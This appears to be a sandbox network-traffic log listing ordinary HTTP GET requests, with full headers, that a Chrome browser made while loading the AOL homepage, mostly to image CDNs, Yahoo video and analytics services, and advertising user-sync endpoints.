Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=500%2C500%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_usatoday_us_articles_590%2F14da1afdf0a24cd1b7d13a3786fb36f8&client=76f99bdb8f78cd44cc0b&signature=e2b7af1232274c55c541a44dd133172a67f48d1f HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usync/prbds2s?gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dgumgum%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D HTTP/1.1Host: rtb.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-09%2F291fe6d0-1246-11ec-9eb7-5392da65195b&client=76f99bdb8f78cd44cc0b&signature=ef85e8cf2223994c333ea8e9159b98ffe0bc6080 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rx/ev/builds/1.6.29/bcplayer.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v2/gql/stream_view?version=v1&namespace=video&id=curated-videos&device=desktop&site=aolhomepage&region=US&lang=en-US&bucketId=aol-acookie-control%2Caol-aa-1&dedup=true&imageSizes=260x144&snippetCount=12&count=120&listAlias=ymedia-alias%3Aplaylist%3Daolcom-homepage HTTP/1.1Host: ncp-gw-video.media.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /v1/video/sapi/streams/42b897a6-9771-3329-b351-69a701a77438?ad.pubfamily=aol&srid=1130454662&protocol=http&format=m3u8%2Cmp4%2Cwebm&rt=html&devtype=desktop&offnetwork=false&plid=c32aa27e-7796-468d-8df4-0e2b43fa14aa&region=US&site=aolhomepage&expb=aol-acookie-control%2Caol-aa-1&expn=aolhomepage&bckt=Treatment_Oath_Player&lang=en-US&width=368&height=276&resize=true&ps=b2be1uzt&autoplay=false&image_sizes=&excludePS=true&isDockable=0&acctid=&synd=&pspid=1197803361&plidl=&topic=&pver=1.6.29&try=1&failover_count=0&ads=ima&ad.pl=up&ad.pd=&ad.pt=home&ad.pct=aol&evp=bcp&hlspre=false&ad.plseq=1&gdpr=false&iabconsent=&usprv=1YNN&gpp=DBAA&gppSid=-1 HTTP/1.1Host: video-api.yql.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FsdS0yOFTkQeyA8vtdrBetw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fastros_wbg.png&client=76f99bdb8f78cd44cc0b&signature=53f3ec69dc0981b98bf4f15eba4afc19210d6c1c HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/images/modules/sports_scores/league_fallback.png HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/images/modules/sports_scores/league_fallback_vertical.svg HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/images/modules/footer/AppStore_en.svg HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/images/modules/footer/PlayStore_en.png HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-06%2F1504f900-095d-11ee-af59-036f8ef2680e&client=76f99bdb8f78cd44cc0b&signature=1ec7b18a657fd83305c83548d3b4199e6b95779d HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/142?redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Ddit%26i%3D%24%7BDI_USER_ID%7D HTTP/1.1Host: match.deepintent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=400%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_abc_news_articles_665%2Fce9119db9a6a3fd7ce671c453a67258b&client=76f99bdb8f78cd44cc0b&signature=ae1728db52d9d6fbb164d1ce325903df077d73f3 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https://usersync.gumgum.com/usersync?b=apn&i=$UID HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-12%2Fe9cc2d60-6982-11ec-b3df-9bd0426ec2ec&client=76f99bdb8f78cd44cc0b&signature=f5d1374db0e429e85fd1964b6c7fb344aaa01682 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/opus.js HTTP/1.1Host: opus.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /usersync/gumgum/?puid=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac&gdpr=0&gdpr_consent=&us_privacy=1YNN&cb=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dzem%26i%3D__ZUID__ HTTP/1.1Host: b1sync.zemanta.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?nid=1&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-12%2F575bc790-355f-11eb-ad7b-2304a1f8730f&client=76f99bdb8f78cd44cc0b&signature=9b569f872b6a38596add6accc7576c1eae74c4ee HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /d/sync/cookie/generic?partner=gumgum&cspid=9&append=1&cb=${ADELPHIC_CACHE_BUSTER}&gdpr=0&gdpr_consent=&us_privacy=1YNN&redirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dvnt%26i%3D HTTP/1.1Host: sync.ipredictive.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-11%2Faacb3290-4bb5-11ec-9dff-c91b8179f931&client=76f99bdb8f78cd44cc0b&signature=9db333fbfbd97c489dfb11e31107155b55541a73 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=400%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_the_hill_articles_315%2Fa8f1b79ccfa49ece83246e7de9753c7f&client=76f99bdb8f78cd44cc0b&signature=17a3754ad81162af66e87793ce5ba329a1e10d89 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?ssp=gumgum2&user_id=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/gumgum?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /libtrc/static/topics/taboola-browsing-topics.html HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=21
Source: global traffic	HTTP traffic detected: GET /scripts/prebid_iframe_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=21
Source: global traffic	HTTP traffic detected: GET /pbcas?us_privacy=1YNN&gdpr=0&gdpr_consent=&type=iframe HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /um/ixmatch.html HTTP/1.1Host: js-sec.indexww.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/pd?gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: yahoo-bidout-d.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696
Source: global traffic	HTTP traffic detected: GET /sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1& HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8CUBQTSIL&prvid=2034%2C2031%2C2030%2C233%2C2028%2C2027%2C2026%2C236%2C2025%2C2069%2C237%2C117%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C4%2C126%2C203%2C326%2C9%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C459%2C70%2C77%2C38%2C2023%2C2022%2C141%2C262%2C461%2C222%2C10000%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
